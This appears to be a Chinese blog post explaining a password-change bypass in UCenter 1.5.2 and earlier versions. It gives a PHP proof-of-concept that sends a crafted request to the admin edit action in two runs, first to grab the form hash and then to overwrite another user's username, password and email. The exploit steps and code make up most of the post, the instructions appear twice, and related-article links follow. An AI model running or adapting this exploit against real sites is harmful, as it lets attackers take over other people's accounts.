关于UCenter 1.5.2 版以下的一个修改用户密码bug
2011-02-15 16:17
706 查看
当使用$_REQUEST全局变量接收数据时,PHP优先接收通过POST提交的数据, 由于这个原因UCenter过滤不严谨导致修改用户密码模块被绕过,现在通过一个简单的例子来说明,绕过的方法,可以PHP程序或HTML来实现,这里我用PHP来说明:
fSocket类: http://blog.csdn.net/jun54555/archive/2010/11/15/6010873.aspx
通过在前台获取用户的UID, 将其写入数组变量 $data中, 然后注释掉后五项, 然后
第一次运行:以获取表单的验证串:formhash以及用户相关信息,
第二次运行:去除数组变量 $data的元素注释,将用户要修改的信息和密码写入数组变量 $data中, 以修改用户密码
注:除了uid是root外, 其他任何用户都可以生效!
fSocket类: http://blog.csdn.net/jun54555/archive/2010/11/15/6010873.aspx
通过在前台获取用户的UID, 将其写入数组变量 $data中, 然后注释掉后五项, 然后
第一次运行:以获取表单的验证串:formhash以及用户相关信息,
第二次运行:去除数组变量 $data的元素注释,将用户要修改的信息和密码写入数组变量 $data中, 以修改用户密码
注:除了uid是root外, 其他任何用户都可以生效!
$f = new fSocket; $http_header =array( 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12', 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', "Accept-Language: zh-cn,zh;q=0.5", "Accept-Encoding: gzip,deflate", "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7", "Keep-Alive: 115", "Connection: keep-alive", ); ######################### 登录验证 ################################## $data = array( 'uid' => '100035', 'a' => 'edit', //'formhash' => '673a2898c3b7d6d5', //'newusername' => 'cy', //'username' => 'ct', // 'password' => '04011217', // 'email' => 'jun54555@gmail.com' ); $option = array( 'ssl_enable' => false, 'ssl_verifypeer' => false, //依赖于ssl_enable 'http_header' => $http_header, 'cookie_enable' => true, 'cookiefile' => true, //依赖于cookie_enable 'cookiejar' => true, //依赖于cookie_enable //'referer' => "http://www.phpchina.com/", 'header' => false, 'returntransfer' => true, 'cookie_save_file'=> false, 'follow_location' => true, ); header("Content-Encoding: gzip"); $response = $f->send("http://www.xxx.org/uc_server//admin.php?m=user&a=login", "", $data, $option); //ucenter的后台地址 echo $response;
相关文章推荐
- 关于webpart 的问题:一个用户修改了页面布局,如何应用于网站的所有用户?
- destoon,ucenter整合 用户登录的处理,修改密码后的处理
- 同事给我发的邮件,关于一个程序员如何面对修改Bug和需求变更的感想
- 关于应用UCenter同步修改密码问题?
- 通过ucenter整合discuz和phpcms,在discuz修改用户密码,ucenter通知失败,phpcms无法同步更新密码
- 每天学习一个LINUX命令:passwd 修改设置用户密码 (pass word 口令,通过语)
- 关于linux下(自动)修改用户密码
- 一个修改Oracle用户密码的小诀窍
- 关于脏数据比如说,有两个用户A,B同时操作数据库,A开始了一个事务,修改了某行,但还未提交,这个时
- 关于在IE下的一个安全BUG --可用于跟踪用户的系统鼠标位置
- mysql5.1 系列 关于用户授权的一个bug
- 【每天一个Linux命令】10. 用户账号的新建/修改/删除以及密码修改 useradd/usemod/userdel/passwd
- 关于MySQL下修改root用户密码的解决
- 关于数据库用户sa修改密码
- oracle 11g bug:修改普通用户密码挂住,所有客户端均连接不上,生产中断
- onethink中修改ucenter用户的密码
- 关于用户强制修改密码,与设定密码策略的参数
- 关于C# XML序列化的一个BUG的修改
- [转] 关于linux下通过shell命令(自动)修改用户密码
- mysql 手册关于修改列字符编码的一个bug